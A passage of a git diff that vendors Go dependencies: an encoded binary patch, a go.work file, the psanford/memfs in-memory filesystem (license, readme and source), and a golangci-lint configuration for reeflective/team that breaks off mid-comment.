zM<6afr7WI+s;SqS&YNh{>?xjz*f0A;#Qj+DM5NB1HA)pr6i-CDFoV=ws(PqTL{wTl z5h=(u!#rg_Xfvug^=j*IBB~cBqI%A&MffpS8VxuR)pK64s(G?e&v~UWV$F!`NU?Jw zVyndyk%Ia}M8k_GBGm_dB6<#rLi(`rBB4HPD5wt`3hKj#g8GD^pgwmfs1F-TnLZII zsXiwus83G{>T{ARt4~Bqs*g+x>cf$O`t+orJ}0Sa`UIz>`UIz-KEbI1`XHsCKFp~C z`WU37`WU33KH?D?ItS6OSlaYU9Yk(t0&3xu)DMI;REbByrnz=;ya!uy(T9;DhJd55 z0<0hyH(IZ?(FDLnlq>+aN`WzYt&Oe#xQCJ#0Ujav0N@#d%eF9#pAqD?!g@q-{x*0f zLU87IY!(Q92f(BqJ!pGe2x=$bksAR|*^>Z}()2633axYLirxuO0BBl=i~X{Wj6`eD z_WQh1hrqF4Jny`Q8tUlrcK{weuoALz4nNk>k?0}ARooUgRK+ZSu4s(rV})p9ykT%R zXN>M6JpgpMqF*QdA}BuvHAde?ItY3x=@_0@o(Hn#nZcHww>6A&A!vCT_b&s8-UV!cSm} zKrh~Au-vuw2R3+2C|9eBb>LQn%d`EA>yNH7U3= zxHX2`44v1TRoQ7QFq#F7z&~(dimo``{y--3{s>?l+6kp|{RzhH$^-eD0`r zU?Ul&t=v&M4bJ5PZ$;_Rkp2wLYOaDc;mdJPjM818Vw7G1)uW^e{~5Golz6AiCBs;-BmIE03A0e<^df9ni?%!S(cQ)@7`E(r7cF&Bg(P_L2QwTu|* z*k!8~(|T-~SGz3@8^g61G4O;w!l|cT<`!%0I=F++SM3`s#2pKD0&D!1Hz-Y<&U`I* z72yUHX|cNDuStD|(=Hgc{{AwRkXDGkv!CRw>3U??Qidf;Idwf!4sXM9kNf#u96nCwUy<{8k7##f@8CqOR^o;qZ_L0dP&xGrNhLWU%zGNPXq(E2o_SVMeez`#Y$c^-HyxAzys6;kOMbb<6oR(4EyK ztp#yZ_xQio$I7Vjd8Nivqo$+@?W58Vt1A<_!nOHX=O?a9c&Xeet_Y3e8!Q4wDtkh4E-`s2Kyw49Gd)<%=i#*{){I`=3o--hgK zv}|8XH>31YsnqtVt&x56Z#~Fa*Xsef6|rmUHUu-8%UV}H4n``a&3ho(8-o0*nJvlIk%?YPFDjxX6t3I%54eU(&f&s8^5dlS1#CDclf*7{#s!n%j+?g zQrhj08Z{Y8ysM<1ktjc6rR7G}vTcdq-15Dt%c;gz7-!lmWwiJbVaSuP{H$F4 z@=0x^n+Q(v&DY>f=A{YWjzfQ3+Fbih&PP|`@AI$;=aYBEZk~f#YIJ#h!#3~lBS&6m z1b;k~=80kJdLkPdRVFLVJUYUB`DmE3s&%E;?^(JbRI(7WAH&aRrz9<)8cCV|i<&=azYrDbu3ndz=n_QsXUc3o-tvi|7&6eVV;q;V? zEWKs1S3&N<+)p96TaY_^?iS=YZ0`MXZTlmiWlHy%E`IR5{!1VQ%}i(AQ;mX2b5myqn(gk7LVwvUI;Tyw|-uz4EP;>a%@l z#~FK9{_(p%-iCYp?m4%7qKD6=&ktywTsLT4i`WSw=PO=%rei7p$kBIR>mnul@Xe23 z+ALQf+RWX#?P1zXUfQ$a_V7U`L}4ACQI+f0$b2WC)6ov~6wI^Y(ppOWZLn8zB-~6^ zuB1O!q(9g$x%a%|NIiKBQoSqiOSOjbQjhnC)hjgkd!YJe$Y+DpQu@Sj^U5(_zwK$I zyuQ+MsSmK5WrtbP8nIu<kb_SsO>>ys9rR+W`{^wMYSrQiRQ%bfz-Cojz<<@O3r z>9V>%$+tf^#?ohMoK&Cv7VDMB&T7m|rC%T@pG~#Sa{Zu|(v{G*Y2y}@?j}ZRfpLyi zSNv8a{>A*l!T=j%=lHVUHFLQwx8FDA{>S(Z9e?b)e7E)4@Af^L``?GV|4HSx-p@+C zjoI^Q-M97F@2darwb%jC*4~c)Q)o7t6Y8TC!TQLUE$bW2rb>JbcYAzYevg_Oe4{ux z1^1gO_iDL#@3F!9U2Ar$*+LTjiTm!!ktV&vLA1Y*P zm73rS%u`Hl0XxJ$vlXs@9yZN}s;JZ^)l=ZX8rRHPubFlH+I;=6j%x6FCbE?okIo-+ zWX(}EN1)Y4-i@QhCc20q3eZ3>3ZR;xna(5_&AJ>9yY?8|QMFrY)HvZA+FKdkB7T?6 z$FHFTEc3vq?eyS|=<2vSjA)6=@ZEgBmqOA@Vd*9O`9*h7@k>Q?W6iK$sr9;{&hBEp zzl(nR{|^SJ9dbd}!IpGZh2P1Q(#e=RZYbgxLR5GT>(^?(|7vW{mUW~wBWT+x17X;P zV56M>{u$0zU9<65H#T?rA{M2wpJe)Sej*a_+W_tyuJg{}4NPBephj$WHrn%*6IV@B zcjDTUvAM?NbSs^<_N3pym>`pV3gN=87oA_-U{A>nI>ODl4Q^O6KceSqKr1+sjl;%8 zlRp6A7M;CDId1W~baX{A^ZC6oOsYbX_e7{M%nId+7r$rxX(lSHNjwxu}=* zk{gD_451fm%MA~`fMN^a&UkD9ToQ7-8}@d$%I)sPmke*O)so@1p%xBzT~(_tT~L0) zss*-eZ|x!fG-jWiF;$$3b{};p)G`$6T;J4tebeCjCgS>c7JAyXgBOL~%e!^zZHCKnme`GrPMvx}A~q#9b)bL2)b8#R7EkW$?>!d(se3B^!){+!ccFiB z|KQZ_uJ)VOvN4iAM)<0y?ujISz@eQg#RwxI=HN_Ffe5iDYV%Pzf)=aMRn%Q&v0it`&#i2 zkMTdR%h|8*baW1OCUkF|(yjdG&r{$Rb{bMRTPsk1Wy~^8{*=4SHaNH#8c)+jnKaNf z<+C43-2;pI{{x}48PV;ZC?lU@GWLBF15=^1Yv~YXTW3cXB8j}Ol_E|bCzP~Uj~{0b z|GtA|{Nz&(C4Ub$!&#ol@9gev8yxEC=o;+Qlf|10e2KzXr#i>qasRC5ISkQY|4`3@ za+yKhz-WrZphWIqA_UYQ!?M($Li!B%(a9Iy@mf68J=j@H^6&(xw{Pn2Iv9&SP>Ky-ASAV&?#xXf~`8qg~hqqJLft#d?O`vmSE z7;2XRnoH00rf9*AB4CuEG{WjR8h5D^SzhOhzwXmnqF`nfM zOZ$3z3IMj{Gi-s=14q(d7=W)Fiql`m&;pk)>F*lEk;b{-?w~dYwI7J4+IZ2*jJEcH zIZCZDKzFMVnOW%6&S&=ut^I9X12}&46qdFv7&JNtaPqTVu7KLj0%5o@#2j^1NF$Ds z4h0UsK=d7J#uGVIXr-Stq%f0$j3AlN+VeBBhg{Z~dV*C=(p~hfgaUWxw@_D^; z08n(l{@%re?Yy)p)ZJ?ohiYao-QLwP)Yc8iG|>;2cJ=ny{#@MEV=y?7!FfG?sCTdn z!GTWo6bDSfqB@0J_wMcOX2xghhjjJK>g`|L)=isSf(cRR$NU&Lj&gMUkRqf8g_XOc zw5zjgL0eCU5~*nCngO2_BVM0r?0y~4Wwag9)iJmT1r{#C+#7&i1bBCE&q8%!Ej#zx zn90M&`ut$@DBHVEEMO2&v!i#Yy}MuxENH_Oy_?lGYaeV9*#{f8BQ6j+tsNX&YAduZ zEDWmNC`T5%VRRH6-5u<-EpL~k%|kjmO40!u9@&GJsYnmSMRt>yaq4i-j+>#zc07(} zo2jLk?>AG69_-Dtrg&V~oF2IkAvV1~&YpMERk)AUHeH9aW8HKW?1?(}ZMq5^Z#Gwj zvvb;XE4&ZyHeHYB5!wYs@=gpoqWBQyKbLScR9CBzY!2Fr>jF~f9XU>>A*Vw=K z4!-}K8Pn&@m_v~b9SuiJpR@1LGv>@@@;wYGmzh_+quz|e=1-r=S{fAV%$YrZ*1oNW z%-(l~ZO8mWsl{gd&OTz6;?OXE*6ca^&X_Y}UutoQvwGNj0xXn^GrXjEN!g1|%0Wp7 zB^(q_v2YSTF3xl9ZJba6igQkjIy#h0&!J+ePE|_9GbB1HopzHpN;)Xvpm>t)CQwTR zB3O3;4{Py`)k(dp0n^Y85yP{b;lE%O7y6Wgk`78ZD4sC-<7_qVY#6x1b@se^!|UjZ z+bHRvgoEO7qd!JnF+=T+jRoEKj@)?cst2%586VF~!3PlIcU&|$*f)UBBNk$JKGZ%1 zb49I-p2cx|EY}gsr`lqLR63i?#M(M??fF!DES~L1bSy|@vxQ7PyPz$b*~u_YHLG-2 z(M}-DCWqP<7R=y2u%{Mx78C{s3LTT%mzfpHpu_(|h8)*0*w&9B!af2IHL+K#oYb&* zXs`|2kjV?Xd)wQ(2PQ>(dV8>M>+9?4Sva|~Z?G5J)JZk%L*2(sUR+q*+rMm5nA@Mp f82?EP{e{j#f1zhVVY2#sWKy+SF-~af9xD7Vk8gTb diff --git a/vendor/github.com/ncruces/go-sqlite3/go.work b/vendor/github.com/ncruces/go-sqlite3/go.work new file mode 100644 index 0000000000..0aa07f2e33 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/go.work @@ -0,0 +1,6 @@ +go 1.19 + +use ( + . + ./gormlite +) diff --git a/vendor/github.com/psanford/memfs/LICENSE b/vendor/github.com/psanford/memfs/LICENSE new file mode 100644 index 0000000000..fbf711fd73 --- /dev/null +++ b/vendor/github.com/psanford/memfs/LICENSE @@ -0,0 +1,27 @@ +Copyright (c) 2021 The memfs Authors. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above +copyright notice, this list of conditions and the following disclaimer +in the documentation and/or other materials provided with the +distribution. + * Neither the name of Google Inc. nor the names of its +contributors may be used to endorse or promote products derived from +this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/psanford/memfs/Readme.md b/vendor/github.com/psanford/memfs/Readme.md new file mode 100644 index 0000000000..ae85f8754f --- /dev/null +++ b/vendor/github.com/psanford/memfs/Readme.md @@ -0,0 +1,50 @@ +# memfs: A simple in-memory io/fs.FS filesystem + +memfs is an in-memory implementation of Go's io/fs.FS interface. +The goal is to make it easy and quick to build an fs.FS filesystem +when you don't have any complex requirements. + +Documentation: https://pkg.go.dev/github.com/psanford/memfs + +`io/fs` docs: https://tip.golang.org/pkg/io/fs/ + +## Usage + +``` +package main + +import ( + "fmt" + "io/fs" + + "github.com/psanford/memfs" +) + +func main() { + rootFS := memfs.New() + + err := rootFS.MkdirAll("dir1/dir2", 0777) + if err != nil { + panic(err) + } + + err = rootFS.WriteFile("dir1/dir2/f1.txt", []byte("incinerating-unsubstantial"), 0755) + if err != nil { + panic(err) + } + + err = fs.WalkDir(rootFS, ".", func(path string, d fs.DirEntry, err error) error { + fmt.Println(path) + return nil + }) + if err != nil { + panic(err) + } + + content, err := fs.ReadFile(rootFS, "dir1/dir2/f1.txt") + if err != nil { + panic(err) + } + fmt.Printf("%s\n", content) +} +``` diff --git a/vendor/github.com/psanford/memfs/memfs.go b/vendor/github.com/psanford/memfs/memfs.go new file mode 100644 index 0000000000..da2fd3e6a3 --- /dev/null +++ b/vendor/github.com/psanford/memfs/memfs.go @@ -0,0 +1,426 @@ +package memfs + +import ( + "bytes" + "errors" + "fmt" + "io/fs" + "os" + syspath "path" + "strings" + "sync" + "time" +) + +// FS is an in-memory filesystem that implements +// io/fs.FS +type FS struct { + dir *dir +} + +// New creates a new in-memory FileSystem. +func New() *FS { + return &FS{ + dir: &dir{ + children: make(map[string]childI), + }, + } +} + +// MkdirAll creates a directory named path, +// along with any necessary parents, and returns nil, +// or else returns an error. +// The permission bits perm (before umask) are used for all +// directories that MkdirAll creates. +// If path is already a directory, MkdirAll does nothing +// and returns nil. +func (rootFS *FS) MkdirAll(path string, perm os.FileMode) error { + if !fs.ValidPath(path) { + return fmt.Errorf("invalid path: %s: %w", path, fs.ErrInvalid) + } + + if path == "." { + // root dir always exists + return nil + } + + parts := strings.Split(path, "/") + + next := rootFS.dir + for _, part := range parts { + cur := next + cur.mu.Lock() + child := cur.children[part] + if child == nil { + newDir := &dir{ + name: part, + perm: perm, + children: make(map[string]childI), + } + cur.children[part] = newDir + next = newDir + } else { + childDir, ok := child.(*dir) + if !ok { + return fmt.Errorf("not a directory: %s: %w", part, fs.ErrInvalid) + } + next = childDir + } + cur.mu.Unlock() + } + + return nil +} + +func (rootFS *FS) getDir(path string) (*dir, error) { + if path == "" { + return rootFS.dir, nil + } + parts := strings.Split(path, "/") + + cur := rootFS.dir + for _, part := range parts { + err := func() error { + cur.mu.Lock() + defer cur.mu.Unlock() + child := cur.children[part] + if child == nil { + return fmt.Errorf("not a directory: %s: %w", part, fs.ErrNotExist) + } else { + childDir, ok := child.(*dir) + if !ok { + return fmt.Errorf("no such file or directory: %s: %w", part, fs.ErrNotExist) + } + cur = childDir + } + return nil + }() + if err != nil { + return nil, err + } + } + + return cur, nil +} + +func (rootFS *FS) get(path string) (childI, error) { + if path == "" { + return rootFS.dir, nil + } + + parts := strings.Split(path, "/") + + var ( + cur = rootFS.dir + + chld childI + err error + ) + for i, part := range parts { + chld, err = func() (childI, error) { + cur.mu.Lock() + defer cur.mu.Unlock() + child := cur.children[part] + if child == nil { + return nil, fmt.Errorf("not a directory: %s: %w", part, fs.ErrNotExist) + } else { + _, isFile := child.(*File) + if isFile { + if i == len(parts)-1 { + return child, nil + } else { + return nil, fmt.Errorf("no such file or directory: %s: %w", part, fs.ErrNotExist) + } + } + + childDir, ok := child.(*dir) + if !ok { + return nil, errors.New("not a directory") + } + cur = childDir + } + return child, nil + }() + if err != nil { + return nil, err + } + } + + return chld, nil +} + +func (rootFS *FS) create(path string) (*File, error) { + if !fs.ValidPath(path) { + return nil, fmt.Errorf("invalid path: %s: %w", path, fs.ErrInvalid) + } + + if path == "." { + // root dir + path = "" + } + + dirPart, filePart := syspath.Split(path) + + dirPart = strings.TrimSuffix(dirPart, "/") + dir, err := rootFS.getDir(dirPart) + if err != nil { + return nil, err + } + + dir.mu.Lock() + defer dir.mu.Unlock() + existing := dir.children[filePart] + if existing != nil { + _, ok := existing.(*File) + if !ok { + return nil, fmt.Errorf("path is a directory: %s: %w", path, fs.ErrExist) + } + } + + newFile := &File{ + name: filePart, + perm: 0o666, + content: &bytes.Buffer{}, + } + dir.children[filePart] = newFile + + return newFile, nil +} + +// WriteFile writes data to a file named by filename. +// If the file does not exist, WriteFile creates it with permissions perm +// (before umask); otherwise WriteFile truncates it before writing, without changing permissions. +func (rootFS *FS) WriteFile(path string, data []byte, perm os.FileMode) error { + if !fs.ValidPath(path) { + return fmt.Errorf("invalid path: %s: %w", path, fs.ErrInvalid) + } + + if path == "." { + // root dir + path = "" + } + + f, err := rootFS.create(path) + if err != nil { + return err + } + f.content = bytes.NewBuffer(data) + f.perm = perm + return nil +} + +// Open opens the named file. +func (rootFS *FS) Open(name string) (fs.File, error) { + if !fs.ValidPath(name) { + return nil, &fs.PathError{ + Op: "open", + Path: name, + Err: fs.ErrInvalid, + } + } + + if name == "." { + // root dir + name = "" + } + + child, err := rootFS.get(name) + if err != nil { + return nil, err + } + + switch cc := child.(type) { + case *File: + handle := &File{ + name: cc.name, + perm: cc.perm, + content: bytes.NewBuffer(cc.content.Bytes()), + } + return handle, nil + case *dir: + handle := &fhDir{ + dir: cc, + } + return handle, nil + } + + return nil, fmt.Errorf("unexpected file type in fs: %s: %w", name, fs.ErrInvalid) +} + +// Sub returns an FS corresponding to the subtree rooted at path. +func (rootFS *FS) Sub(path string) (fs.FS, error) { + dir, err := rootFS.getDir(path) + if err != nil { + return nil, err + } + return &FS{dir: dir}, nil +} + +type dir struct { + mu sync.Mutex + name string + perm os.FileMode + modTime time.Time + children map[string]childI +} + +type fhDir struct { + dir *dir + idx int +} + +func (d *fhDir) Stat() (fs.FileInfo, error) { + fi := fileInfo{ + name: d.dir.name, + size: 4096, + modTime: d.dir.modTime, + mode: d.dir.perm | fs.ModeDir, + } + return &fi, nil +} + +func (d *fhDir) Read(b []byte) (int, error) { + return 0, errors.New("is a directory") +} + +func (d *fhDir) Close() error { + return nil +} + +func (d *fhDir) ReadDir(n int) ([]fs.DirEntry, error) { + d.dir.mu.Lock() + defer d.dir.mu.Unlock() + + names := make([]string, 0, len(d.dir.children)) + for name := range d.dir.children { + names = append(names, name) + } + + if n <= 0 { + n = len(names) + } + + out := make([]fs.DirEntry, 0, n) + + for i := d.idx; i < n && i < len(names); i++ { + name := names[i] + child := d.dir.children[name] + + f, isFile := child.(*File) + if isFile { + stat, _ := f.Stat() + out = append(out, &dirEntry{ + info: stat, + }) + } else { + d := child.(*dir) + fi := fileInfo{ + name: d.name, + size: 4096, + modTime: d.modTime, + mode: d.perm | fs.ModeDir, + } + out = append(out, &dirEntry{ + info: &fi, + }) + } + + d.idx = i + } + return out, nil +} + +type File struct { + name string + perm os.FileMode + content *bytes.Buffer + modTime time.Time + closed bool +} + +func (f *File) Stat() (fs.FileInfo, error) { + if f.closed { + return nil, fs.ErrClosed + } + fi := fileInfo{ + name: f.name, + size: int64(f.content.Len()), + modTime: f.modTime, + mode: f.perm, + } + return &fi, nil +} + +func (f *File) Read(b []byte) (int, error) { + if f.closed { + return 0, fs.ErrClosed + } + return f.content.Read(b) +} + +func (f *File) Close() error { + if f.closed { + return fs.ErrClosed + } + f.closed = true + return nil +} + +type childI interface{} + +type fileInfo struct { + name string + size int64 + modTime time.Time + mode fs.FileMode +} + +// base name of the file +func (fi *fileInfo) Name() string { + return fi.name +} + +// length in bytes for regular files; system-dependent for others +func (fi *fileInfo) Size() int64 { + return fi.size +} + +// file mode bits +func (fi *fileInfo) Mode() fs.FileMode { + return fi.mode +} + +// modification time +func (fi *fileInfo) ModTime() time.Time { + return fi.modTime +} + +// abbreviation for Mode().IsDir() +func (fi *fileInfo) IsDir() bool { + return fi.mode&fs.ModeDir > 0 +} + +// underlying data source (can return nil) +func (fi *fileInfo) Sys() interface{} { + return nil +} + +type dirEntry struct { + info fs.FileInfo +} + +func (de *dirEntry) Name() string { + return de.info.Name() +} + +func (de *dirEntry) IsDir() bool { + return de.info.IsDir() +} + +func (de *dirEntry) Type() fs.FileMode { + return de.info.Mode() +} + +func (de *dirEntry) Info() (fs.FileInfo, error) { + return de.info, nil +} diff --git a/vendor/github.com/reeflective/team/.golangci.yml b/vendor/github.com/reeflective/team/.golangci.yml new file mode 100644 index 0000000000..5389185b52 --- /dev/null +++ b/vendor/github.com/reeflective/team/.golangci.yml @@ -0,0 +1,450 @@ + +# ************************************************************************************* # +# Golang CI Lint Global Configuration # +# ************************************************************************************* # + +# This configuration is divided into several subsections: +# - Options for analysis running +# - Enabled/disabled linters +# - Other exclusions & Issues management +# - Issues severity management +# - Per-linter configurations + +# +# -------------------------- Options for analysis running -------------------------- # +# +run: + # + # ***** Tests **** + # + # Include test files or not. + # Default: true + tests: true + + # + # ***** Ignored directories, files & patterns ***** + # + # Which dirs to skip: issues from them won't be reported. + # Can use regexp here: `generated.*`, regexp is applied on full path. + # Default value is empty list, + # but default dirs are skipped independently of this option's value (see skip-dirs-use-default). + # "/" will be replaced by current OS file path separator to properly work on Windows. + # skip-dirs: + + # Enables skipping of directories: + # - vendor$, third_party$, testdata$, examples$, Godeps$, builtin$ + # Default: true + skip-dirs-use-default: true + + # Which files to skip: they will be analyzed, but issues from them won't be reported. + # Default value is empty list, + # but there is no need to include all autogenerated files, + # we confidently recognize autogenerated files. + # If it's not please let us know. + # "/" will be replaced by current OS file path separator to properly work on Windows. + # skip-files: + # - ".*\\.my\\.go$" + # - lib/bad.go + + # + # ***** Dependencies & Modules ***** + # + # If set we pass it to "go list -mod={option}". From "go help modules": + # If invoked with -mod=readonly, the go command is disallowed from the implicit + # automatic updating of go.mod described above. Instead, it fails when any changes + # to go.mod are needed. This setting is most useful to check that go.mod does + # not need updates, such as in a continuous integration and testing system. + # If invoked with -mod=vendor, the go command assumes that the vendor + # directory holds the correct copies of dependencies and ignores + # the dependency descriptions in go.mod. + # + # Allowed values: readonly|vendor|mod + # By default, it isn't set. + modules-download-mode: readonly # NOT SURE WHICH ONE TO USE BY DEFAULT + + # + # ***** Other ***** + # + # Allow multiple parallel golangci-lint instances running. + # If false (default) - golangci-lint acquires file lock on start. + allow-parallel-runners: true + + # Specific go build tags + build-tags: + - go_sqlite + + +# +# -------------------------- Output Configuration Options --------------------------- # +# +# output: + # Format: colored-line-number|line-number|json|tab|checkstyle|code-climate|junit-xml|github-actions + # + # Multiple can be specified by separating them by comma, output can be provided + # for each of them by separating format name and path by colon symbol. + # Output path can be either `stdout`, `stderr` or path to the file to write to. + # Example: "checkstyle:report.json,colored-line-number" + # + # Default: colored-line-number + # format: json + # Print lines of code with issue. + # Default: true + # print-issued-lines: false + # Print linter name in the end of issue text. + # Default: true + # print-linter-name: false + # Make issues output unique by line. + # Default: true + # uniq-by-line: false + # Add a prefix to the output file references. + # Default is no prefix. + # path-prefix: "" + # Sort results by: filepath, line and column. + # sort-results: false + +# +# ------------------------------------- Linters ------------------------------------ # +# +linters: + # Disable all linters. + # disable-all: true + + # Enable presets. Used to enable entire sets of linters based on their "tags". + # Some of these enabled sets might be redundant with the explicitly & individually + # enabled linters above, so pay attention to what you want to do. + # Also, some linters are explicitly deactived in some section below, which might + # be undesired behavior to you. + # https://golangci-lint.run/usage/linters + presets: + - bugs + - comment + - complexity + - error + - format + - import + - metalinter + - module + - performance + # - sql + - style + - test + - unused + + # Enable specific linter + # https://golangci-lint.run/usage/linters/#enabled-by-default-linters + # + # Example line: + # - lintername # Description () + # where: + # () means the linter is not fast, and not auto-fix capable + # (fast) means the linter is only fast + # (auto) means the linter can auto-fix its detected issues. + # + enable: + # Linters enabled by default (commented out in list of disabled linters below) + # - deadcode # Finds unused code () + - errcheck # Finds unchecked errors in Go programs () + - gosimple # Specializes in simplifying a code () + - govet # Reports suspicious constructs, such as Printf calls with wrong args () + - ineffassign # Detects when assignments to existing variables are not used (fast) + - staticcheck # A ton of static analysis checks () + # - structcheck # Finds unused struct fields () + - unused # Checks for unused constants, variables, functions and types () + # - varcheck # Finds unused global variables and constants () + + # Other linters (not enabled by default, thus optional) + # - asciicheck # Checks that code does not contain non-ASCII identifiers (bugs, style) + - bidichk # checks for dangerous unicode character sequences (bugs) + - bodyclose # checks HTTP response body is closed successfully (perf,bugs) + - containedctx # detects struct-contained context.Context field (style) + - contextcheck # check the function use a non-inherited context (bugs) + - cyclop # checks function and package cyclomatic complexity (cplx) + - decorder # checks declaration order/count of types/consts/vars/funcs (fmt,style) + # - depguard # checks if imports are in a list of acceptable packages (style,imp,mod) + - dogsled # checks assignments with too many blank identifiers (style) + - dupl # tool for code clone detection (style) + - durationcheck # checks for two durations multiplied together (bugs) + - errchkjson # checks types passed to JSON encoding functions & related (bugs) + - errname # checks that sentinel errors are prefix with Err (style) + - errorlint # finds potential problems with Go 1.13 error wrap scheme (bugs, err) + # - exhaustive # checks exhaustiveness of enum switch statements (bugs) + # - exhaustivestruct # checks if all struct fields are initialized (style,test) + - exportloopref # checks for pointers to enclosing loop variables (bugs) + # - forbidigo # Forbids identifiers (style) + - forcetypeassert # finds forced type assertions (style) + - funlen # tool for detection of long functions (cplx) + - gci # Controls package import order and makes deterministic (fmt,import) + # - gochecknoglobals # checks that no global variables exist (style) + # - gochecknoinits # checks that no init functions are present (style) + - gocognit # computes and checks the cognitive complexity of functions (cplx) + - goconst # finds repeated strings that can be replaced by a constant (style) + - gocritic # diagnostics for bugs/perf/style issues. Extensible (style,meta) + - gocyclo # computes and checks cyclomatic complexity of functions (cplx) + - godot # checks if comments end in a period (style,cmt) + - godox # tool for detection of FIXME, TODO and other comments (style,cmt) + - goerr113 # checks the errors handling expressions (style,err) + - gofmt # formats and checks for code simplification (fmt) + - gofumpt # checks whether code was gofumpt-ed (fmt) + - goheader # checks if file header matches to pattern (style) + # - goimports # fixes imports, formats code same as gofmt (fmt,import) + # - golint # Deprecated + - gomnd # analyzer to detect magic numbers (style) + - gomoddirectives # manage replace/retract/excludes directives in go.mod (style,mod) + # - gomodguard # allow/block for direct module deps. (style,imp,mod) + - goprintffuncname # check that printf-like funcs are named with f at end (style) + - gosec # inspect code for security problems (bugs) + - grouper # analyzer to analyze expression groups (style) + # - ifshort # checks that code uses short syntax for if statements (style) + - importas # enforces consistent import aliases (style) + # - interfacer # Deprecated + - ireturn # accept Interfaces, return Concrete Types (style) + # - lll # Report long lines (style) + - maintidx # measures the maintainability index of each function (cplx) + - makezero # finds slice declarations with non-zero initial length (style,bugs) + # - maligned # Deprecated + - misspell # finds commonly misspelled English words in comments (style,cmt) + - nakedret # finds naked returns in functions greater than spec len (style) + - nestif # reports deeply nested if statements (cplx) + - nilerr # finds code returning nil even if checks error not nil (bugs) + - nilnil # checks no simultaneous return of nil err and invalid value (style) + # - nlreturn # checks for a new line before return and branch statements (style) + - noctx # fnds sending HTTP requests without context.Context (perf,bugs) + - nolintlint # reports ill-formed or insufficient nolint directives (style) + - paralleltest # detects missing usage of t.Parallel() in your tests (style,test) + - prealloc # finds slice declarations that could be preallocated (perf) + - predeclared # finds code shadowing one of Go's predeclared identifiers (style) + # - promlinter # checks Prometheus metrics naming via promlint + - revive # fast,extensible,flexible linter. Replacement of golint (style,meta) + # - rowserrcheck # checks if Err of rows is checked successfully (bugs,sql) + # - scopelint # Deprecated + # - sqlclosecheck # checks that sql.Rows and sql.Stmt are closed (bugs,sql) + # - stylecheck # replacement for golint (style) + # - tagliatelle # checks struct tags (style) + - tenv # detects using os.Setenv instead of t.Setenv since go1.17 (style) + # - testpackage # makes you use a separate _test package (style,test) + - thelper # detects test helpers without t.Helper(), checks consistent (style) + - tparallel # detects inappropriate use of t.Parallel() in your tests (style,test) + # - typecheck # Like the front-end of the Go compiler, parses and type-checks Go code () + - unconvert # remove unnecessary type convertions (style) + - unparam # reports unused function parameters (unused) + - varnamelen # checks that the length of a var name matches its scope (style) + - wastedassign # finds wasted assignment statements (style) + # - whitespace # detection of leading and trailing whitespace (style) + # - wrapcheck # checks errors returned from external packages are wrapped (style,err) + - wsl # forces you to use empty lines ! (style) + + # Enable all available linters. + # enable-all: true + + # Disable specific linter + # https://golangci-lint.run/usage/linters/#disabled-by-default-linters--e--enable + disable: + # Linters enabled by default (commented out in list of disabled linters below) + # - deadcode + # - errcheck + # - gosimple + # - govet + # - ineffassign + # - staticcheck + # - structcheck + - typecheck + # - unused + # - varcheck + + # Deactivated linters above (explicitly deactived here, so that `presets` section + # above does not activate them again) + - asciicheck # Checks that code does not contain non-ASCII identifiers (bugs,style) + - depguard # checks if imports are in list of acceptable pkgs (style,imp,mod) + - exhaustive # checks exhaustiveness of enum switch statements (bugs) + - exhaustruct # checks if all struct fields are initialized (style,test) + - exhaustivestruct # checks if all struct fields are initialized (style,test) + - forbidigo # Forbids identifiers (style) + - gochecknoglobals # checks that no global variables exist (style) + - gochecknoinits # checks that no init functions are present (style) + - goimports # fixes imports, formats code same as gofmt (fmt,import) + - lll # Report long lines (style) + - promlinter # checks Prometheus metrics naming via promlint + - rowserrcheck # checks if Err of rows is checked successfully (bugs,sql) + - sqlclosecheck # checks that sql.Rows and sql.Stmt are closed (bugs,sql) + - stylecheck # replacement for golint (style) + - testpackage # makes you use a separate _test package (style,test) + - whitespace # detection of leading and trailing whitespace (style) + - nonamedreturns + - scopelint # Deprecated + - nlreturn # checks for a new line before return and branch statements (style) + - ifshort # checks that code uses short syntax for if statements (style) + - deadcode # Finds unused code () + - structcheck # Finds unused struct fields () + - varcheck # Finds unused global variables and constants () + - gomodguard # allow/block for direct module deps. (style,imp,mod) + - musttag + - wrapcheck # checks errors returned from external packages are wrapped (style,err) + - tagliatelle # checks struct tags (style) + + # Run only fast linters from enabled linters set (first run won't be fast) + # Default: false + # fast: true + + +# +# --------------------------------- Linter settings ------------------------------------ # +# + +# This file contains only configs which differ from defaults. +# All possible options can be found here https://github.com/golangci/golangci-lint/blob/master/.golangci.reference.yml +linters-settings: + cyclop: + # The maximal code complexity to report. + # Default: 10 + max-complexity: 30 + # The maximal average package complexity. + # If it's higher than 0.0 (float) the check is enabled + # Default: 0.0 + package-average: 10.0 + + errcheck: + # Report about not checking of errors in type assertions: `a := b.(MyStruct)`. + # Such cases aren't reported by default. + # Default: false + check-type-assertions: true + + exhaustive: + # Program elements to check for exhaustiveness. + # Default: [ switch ] + check: + - switch + - map + + funlen: + # Checks the number of lines in a function. + # If lower than 0, disable the check. + # Default: 60 + lines: 100 + # Checks the number of statements in a function. + # If lower than 0, disable the check. + # Default: 40 + statements: 50 + + gocognit: + # Minimal code complexity to report + # Default: 30 (but we recommend 10-20) + min-complexity: 30 + + wsl: + allow-cuddle-declarations: true + allow-separated-leading-comment: true + + paralleltest: + ignore-missing: true + +# +# ----------------------- Other exclusions & Issues management -------------------------- # +# +issues: + # List of regexps of issue texts to exclude. + # + # But independently of 